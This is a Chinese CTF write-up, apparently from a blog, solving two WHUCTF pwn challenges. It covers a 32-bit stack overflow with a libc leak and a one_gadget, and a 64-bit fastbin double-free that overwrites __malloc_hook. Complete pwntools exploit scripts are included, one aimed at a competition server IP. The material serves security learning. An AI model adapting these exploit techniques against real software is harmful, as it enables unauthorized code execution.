标签:str free deb family 第一步 level 32位 load bug
花了大概两天时间来做WHUCTF的题目,第一次排名这么靠前。首先感谢武汉大学举办这次萌新赛,也感谢fmyy的师傅的耐心指导,让我第一次做出堆的题目来。
pwnpwnpwn
这是一道栈题目,32位程序,只开启了堆栈不可执行。栈溢出泄露libc的基地址,然后换成one_gadget,就可以了。
1 from pwn import * 2 3 #p = process(‘./pwn‘) 4 p = remote(‘218.197.154.9‘,10004) 5 elf = ELF(‘./pwn‘) 6 context.log_level = ‘debug‘ 7 8 write_plt = elf.plt[‘write‘] 9 fun_got = elf.got[‘__libc_start_main‘] 10 main = elf.symbols[‘main‘] 11 12 payload = ‘a‘*0x88 + ‘bbbb‘ + p32(write_plt) 13 payload += p32(main) + p32(1) + p32(fun_got) + p32(0x10) 14 p.sendlineafter(‘Ready?\n‘,payload) 15 base_addr = u32(p.recv(4)) - 0x018540 16 shell = base_addr + 0x3a80c 17 payload = ‘a‘*0x88 + ‘bbbb‘ + p32(shell) 18 p.sendlineafter(‘Ready?\n‘,payload) 19 p.interactive()
FFF
一道堆题目,64位程序,保护全开。题目有UAF,可以用double free进行攻击。
首先做的第一步,就是先利用unsortedbin的机制来泄露libc,这里我就说一下我的理解,就是在malloc堆的时候堆的大小大于120,再free,这个堆就会先放到unsortedbin里面。这里说的120是malloc(120),并不是堆的实际大小,而且是大于,就说明121才可以。
放到unsortedbin里面,在2.23的libc版本中,此时的未释放的指针还是指向堆,而堆指向的地址是main_arena+88的位置,这里我们可以用程序的show功能,来泄露libc版本和基地址。在这里,我刚开始做的时候,一直找不到main_arena+88在libc中的偏移。无奈又去问了fmyy师傅,师傅告诉我说,main_arena 在malloc_hook下面0x10个字节。这下问题就解决了。
在这里可以很清楚的看到,main_arena和__malloc_hook的位置。(超开心,感觉找到了几个月前刚知道libc的感觉)
接下来就是double free了。
add(0x80) #chunk0
add(0x60) #chunk1
add(0x60) #chunk2
delete(0)
show(0) #泄露libc
delete(1) #free chunk1
delete(2) #free chunk2
delete(1) #再次free chunk1
此时的fasbins是这样的,我们接下来要将他们都申请回来。第一次申请会申请到这个地址。
add(0x60)
这个时候,我们修改再次申请到的chunk1的fd指针,让他指向我们想要指向的
edit(1,8,address)
这个时候我们再看一下fastbin
这个时候我们再申请回chunk2,再申请一次chunk1,再申请一次chunk,就会申请到我们想要申请的地址了。这里我用abcdefgh来标注了一下。这里我们要填哪个地址呢?目前我知道的,是可以申请到malloc_hook -0x23的地方,这个地址+0x8会指向一个字节是是0x7f,就是让这个当作这次申请的chunk的size字段,这样就可以成功申请下来了。
由于小端存储,此时我们将chunk申请到了malloc_hook -0x23的位置。
这个时候我们是可以对这个chunk进行写操作的,我们可写的内容就是malloc_hook -0x23+0x10一下的位置,我们这里申请的chunk是0x60大小,就可以往下写0x60大小。
所以接下来的操作就是
add(0x60) #申请回来chunk2
add(0x60) #再次申请chunk1
add(0x60) #申请chunk3,位置就到了malloc_hook -0x23的位置。
这个时候我们对chunk3进行写操作,将__malloc_hook的位置写上one_gadget,这个时候我们再次调用malloc函数的时候,就会调用one_gadget来拿到shell。
edit(6,28,‘\x00‘*0x13 + p64(one_gadget))
add(0x60) #调用__malloc_hook拿到shell!!!
补充:目前的理解是,__malloc_hook是程序在执行malloc的时候会先执行__malloc_hook中指向的命令。也附一下其他师傅的理解,相互补充。原文地址
这道题就算是做完了,最后贴一下exp:
1 from pwn import * 2 3 p = process(‘./pwn‘) 4 #p = remote(‘218.197.154.9‘,10007) 5 elf = ELF(‘./pwn‘) 6 libc = ELF(‘libc6_2.23-0ubuntu10_amd64.so‘) 7 context.log_level = ‘debug‘ 8 9 def duan(): 10 gdb.attach(p) 11 pause() 12 13 def add(size): 14 p.sendlineafter(‘> ‘,‘1‘) 15 p.sendlineafter(‘size?\n‘,str(size)) 16 17 def edit(index,size,content): 18 p.sendlineafter(‘> ‘,‘2‘) 19 p.sendlineafter(‘index?\n‘,str(index)) 20 p.sendlineafter(‘size?\n‘,str(size)) 21 p.send(content) 22 23 def show(index): 24 p.sendlineafter(‘> ‘,‘3‘) 25 p.sendlineafter(‘index?\n‘,str(index)) 26 27 def remove(index): 28 p.sendlineafter(‘> ‘,‘4‘) 29 p.sendlineafter(‘index?\n‘,str(index)) 30 31 add(0x80) 32 add(0x60) 33 add(0x60) 34 remove(0) 35 show(0) 36 37 malloc_hook = u64(p.recv(6).ljust(8,‘\x00‘)) - 88 - 0x10 38 print hex(malloc_hook) 39 libc_base = malloc_hook - 0x3c4b10 40 one_gadget = libc_base + 0xF02A4 41 remove(1) 42 remove(2) 43 remove(1) 44 45 add(0x60) 46 edit(1,8,p64(malloc_hook - 0x23)) 47 #duan() 48 add(0x60) 49 add(0x60) 50 add(0x60) 51 edit(6,28,‘\x00‘*0x13 + p64(one_gadget)) 52 add(0x60) 53 54 p.interactive()
标签:str free deb family 第一步 level 32位 load bug
原文地址:https://www.cnblogs.com/bhxdn/p/12983787.html